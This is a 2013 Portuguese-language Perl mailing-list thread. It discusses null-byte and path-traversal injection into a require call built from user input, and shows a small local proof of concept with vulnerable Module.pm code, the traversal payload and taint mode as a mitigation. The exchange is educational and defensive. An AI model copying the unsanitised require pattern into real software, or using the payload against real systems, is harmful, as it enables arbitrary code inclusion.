[SP-pm] Perl e Null byte

Nelson Ferraz nferraz at gmail.com
Wed Jun 12 03:32:44 PDT 2013


Se você incluir o null byte dentro do parâmetro -E não há taint que possa
ajudá-lo -- pois o exploit está dentro do próprio programa.

Mas se os dados vem do mundo exterior, como, nesse exemplo, de uma variável
de ambiente, o taint pode ser muito útil:

    foo='../../../../../../../../../home/fvox/poc/inc.pl\00' perl -I. -T
-MModule -E'say testing($ENV{foo});'

    Insecure dependency in require while running with -T switch at
Module.pm line 15.



Em 12 de junho de 2013 01:18, Stanislaw Pusep <creaktive em gmail.com>escreveu:

> Posso estar enganado, mas taint marca como "sanitizado" quer string que
> passa por expressão regular. No exemplo acima, nem com o taint corrigiria
> (não olhei tão atentamente, por outro lado).
> Alias, quem é que usa taint? :P
>
> вторник, 11 июня 2013 г. пользователь Tiago Peczenyj писал:
>
> teste em 'taint' mode :)
>>
>>
>> 2013/6/11 Junior Moraes <junior em fvox.com.br>
>>
>>> Hi.
>>>
>>> Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1]
>>> dentro de um webservice que retorna as informações desejadas. Neste módulo,
>>> temos o método adExport() que recebe um parâmetro (que, no caso da
>>> aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o
>>> módulo.
>>> Fiquei brincando de manipular o path com esse parâmetro, mas a
>>> concatenação da string '.pm' dificultava as coisas. Porém, como na
>>> exploração de um RFI/LFI (Remote/Local File Inclusion) no PHP, é possível
>>> ignorar isso com o bom e velho null byte[2].
>>>
>>> Escrevi um exemplo prático:
>>>
>>> $ pwd
>>> /home/fvox/poc
>>>
>>> $ cat Module.pm
>>> package Module;
>>>
>>> use common::sense;
>>> use Moo;
>>> use Carp;
>>>
>>> use vars qw(@ISA @EXPORT);
>>> @ISA = qw(Exporter);
>>> @EXPORT = qw(testing);
>>>
>>> sub testing {
>>>     my $plugin = shift;
>>>
>>>     my $module = 'Module/' . $plugin . '.pm';
>>>     eval { require $module; };
>>>     croak $@ if $@;
>>>
>>>     $module =~ s/\//::/g;
>>>     $module =~ s/\.pm$//gi;
>>>     my $obj = $module->new;
>>> }
>>>
>>> 1;
>>>
>>> $ cat inc.pl
>>> print "Null Byte injetado com sucesso! :)\n";
>>>
>>> $ perl -MModule -E'say testing("../../../../../../../../../home/fvox/poc/inc.pl\00");'*Null Byte injetado com sucesso! :)*
>>> Can't locate object method "new" via package "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl" (perhaps you forgot to load "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"?) at Module.pm line 21.
>>>
>>>
>>> Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que
>>> é possível injetar um 'evil code' num código vulnerável sem muitos
>>> problemas. Suponho que também funcione na função open(), entre outros casos.
>>> Alguém já tinha brincado com isso antes? Hhauhauh
>>>
>>> PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de
>>> retardado e brincar com isso em 2013... :P
>>>
>>> [1] https://metacpan.org/module/AnyData
>>> [2] http://en.wikipedia.org/wiki/Null_character
>>>
>>> --
>>>
>>> ====================================
>>> Junior "fvox" Moraes
>>> Linux Reg. #557527
>>> junior[at]fvox[dot]com[dot]br
>>> fb[dot]com/juniorfvox
>>> twitter[dot]com/fvox
>>> ====================================
>>> =begin disclaimer
>>>    Sao Paulo Perl Mongers: http://sao-paulo.pm.org/
>>>  SaoPaulo-pm mailing list: SaoPaulo-pm em pm.org
>>>  L<http://mail.pm.org/mailman/listinfo/saopaulo-pm>
>>> =end disclaimer
>>>
>>>
>>
>>
>> --
>> Tiago B. Peczenyj
>> Linux User #405772
>>
>> http://about.me/peczenyj
>>
>
>
> --
> Отправлено с моего iPhone
>
> =begin disclaimer
>    Sao Paulo Perl Mongers: http://sao-paulo.pm.org/
>  SaoPaulo-pm mailing list: SaoPaulo-pm em pm.org
>  L<http://mail.pm.org/mailman/listinfo/saopaulo-pm>
> =end disclaimer
>
>


-- 
Nelson Ferraz
-------------- Pr�xima Parte ----------
Um anexo em HTML foi limpo...
URL: <http://mail.pm.org/pipermail/saopaulo-pm/attachments/20130612/f2b38db5/attachment.html>


More information about the SaoPaulo-pm mailing list